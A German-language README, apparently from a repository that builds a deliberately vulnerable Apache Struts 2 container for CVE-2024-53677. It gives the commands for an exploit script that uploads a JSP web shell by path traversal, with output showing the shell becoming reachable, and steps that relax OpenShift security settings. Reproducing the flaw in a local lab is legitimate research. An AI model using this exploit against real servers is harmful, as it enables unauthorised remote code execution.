
Verwundbare Umgebung und Exploit für CVE-2024-53677
CVE-2024-53677 - Reproduktionsumgebung für die Apache Struts 2 Schwachstelle zur Remote-Code-Ausführung (RCE)
Dieses Repository stellt eine containerbasierte Umgebung zur Reproduktion der CVE-2024-53677-Schwachstelle in Apache Struts 2 bereit. Diese Schwachstelle betrifft Path Traversal und ermöglicht beliebige Codeausführung (RCE) über die Datei-Upload-Funktion in Struts 2.
Die Umgebung kann mit Podman erstellt und ausgeführt werden. Befolgen Sie diese Schritte, um die Anwendung einzurichten:
git clone https://github.com/seanrickerd/CVE-2024-53677.git
cd CVE-2024-53677
podman build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
podman run -d -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
Ausführen des Exploits:
pip install -r requirements.txt
python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files newshell.jsp --destination ../newshell.jsp
Es gibt ein gelegentlich auftretendes Problem, bei dem die Datei zwar ordnungsgemäß hochgeladen wird, aber nicht zugänglich ist. Um dies zu umgehen, müssen Sie dem Ziel einen zusätzlichen Punkt hinzufügen und dann den ursprünglichen Befehl erneut ausführen.
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination .../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: .../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/.../shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[ALERT] File uploaded and accessible: http://localhost:8080/shell.jsp
Die Shell ist über einen Browser unter http://localhost:8080/shell.jsp erreichbar.
OpenShift ist standardmäßig sicher, daher müssen Sie zuerst privilegierte Container zulassen:
oc adm policy add-scc-to-group anyuid system:authenticated
Wenn Sie das Image selbst erstellen möchten, müssen Sie außerdem die folgenden Zeilen zum dockerfile hinzufügen:
COPY --from=0 /usr/src/cve/target/upload-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
Das folgende yaml erstellt einen Namespace namens „vulnerables“ und stellt den anfälligen Container als Deployment mit einer Replik, einem Service und einer Route bereit, über die Sie auf die anfällige Workload zugreifen können.
Wenn Sie das Image selbst erstellt haben, müssen Sie den Speicherort des Images im yaml ändern, damit er dem Speicherort Ihres Images entspricht.
oc create -f ocp-struts.yaml
Sie finden die Route unter Networking->Routes.
